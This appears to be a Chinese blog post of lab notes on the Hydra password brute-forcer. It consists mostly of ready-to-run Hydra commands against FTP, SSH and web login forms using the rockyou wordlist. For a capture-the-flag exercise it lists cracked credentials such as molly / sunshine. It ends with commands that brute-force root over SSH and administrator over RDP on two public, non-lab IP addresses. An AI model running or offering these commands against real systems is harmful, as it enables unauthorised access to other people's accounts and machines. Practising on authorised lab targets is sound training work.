hydra实例操作

***** 参考视频ul00.com blog
https://www
1,启动机器
2, hydra —— hydra -l user -P passlist.txt ftp://192.168.0.1
SSH —— hydra -l <username> -P <full path to pass> <ip> -t 4 ssh
Post Web Form—— hydra -l -P http-post-form “/:username=^USER^&password=^PASS^:F=incorrect” -V

题目1 web password flag1
If you’ve tried more than 30 passwords from RockYou.txt, you are doing something wrong! 提示使用RockYou.txt
**************************注意命令是再>上面执行 (所以先hydra然后进入>命令行执行命令)
hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.238.100 http-post-form “/login:username=”^USER^&password=^PASS^:incorrect” -f

hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.157.227 http-post-form “/login:username=^USER^&password=^PASS^:incorrect” 找到密码 sunshine 得到flag1
***大写的-L 表示也要list用户名

问题2 找到flag2
SSH# hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.157.227 ssh
22][ssh] host: 10.10.157.227 login: molly password: butterfly

locate rockyou
gunzip /usr/share/wordlists/rockyou.txt.gz
hydra -l root -P /usr/share/wordlists/rockyou.txt 144.217.124.18 ssh

hydra -l administrator -P /usr/share/wordlists/rockyou.txt 5.135.39.185 rdp -v

未经允许不得转载:萌萌Apprentissage » hydra实例操作

赞 (0) 打赏

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏

//下一个脚本特效